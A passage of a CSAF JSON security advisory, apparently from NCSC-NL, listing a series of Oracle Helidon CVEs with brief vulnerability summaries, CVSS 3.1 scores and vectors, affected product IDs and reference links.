"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73896"
},
{
"cve": "CVE-2026-73897",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73897 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73897.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73897"
},
{
"cve": "CVE-2026-73898",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73898 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73898.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73898"
},
{
"cve": "CVE-2026-73899",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73899 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73899.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73899"
},
{
"cve": "CVE-2026-73900",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to gain unauthorized read access to certain data via HTTP, with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73900 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73900.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73900"
},
{
"cve": "CVE-2026-73901",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated network attackers to perform unauthorized read and write operations, with a CVSS 3.1 base score of 4.8 indicating moderate confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73901 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73901.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73901"
},
{
"cve": "CVE-2026-73902",
"notes": [
{
"category": "description",
"text": "A denial of service vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.19 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73902 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73902.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73902"
},
{
"cve": "CVE-2026-73903",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to modify or delete critical data via HTTP, with a CVSS 3.1 base score of 7.5 indicating high integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73903 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73903.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73903"
},
{
"cve": "CVE-2026-73904",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to gain unauthorized read and write access to Helidon data via HTTP, with a CVSS 3.1 base score of 6.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73904 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73904.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73904"
},
{
"cve": "CVE-2026-73905",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73905 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73905.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73905"
},
{
"cve": "CVE-2026-73906",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73906 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73906.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73906"
},
{
"cve": "CVE-2026-73907",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73907 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73907.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73907"
},
{
"cve": "CVE-2026-73908",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to access sensitive data via HTTP, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73908 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73908.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73908"
},
{
"cve": "CVE-2026-73909",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated network attackers via HTTP to potentially access critical or all Helidon data, with a CVSS 3.1 base score of 5.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73909 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73909.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73909"
},
{
"cve": "CVE-2026-73910",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to gain unauthorized read access to certain data via HTTP, with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73910 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73910.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73910"
},
{
"cve": "CVE-2026-73911",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73911 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73911.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73911"
},
{
"cve": "CVE-2026-73912",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73912 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73912.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73912"
},
{
"cve": "CVE-2026-73913",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73913 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73913.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73913"
},
{
"cve": "CVE-2026-73914",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers via HTTP to gain unauthorized read access and cause partial denial of service, rated CVSS 3.1 base score 6.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73914 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73914.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73914"
},
{
"cve": "CVE-2026-73915",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to cause denial of service by crashing or hanging the Imperative Web Server component via HTTP, with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
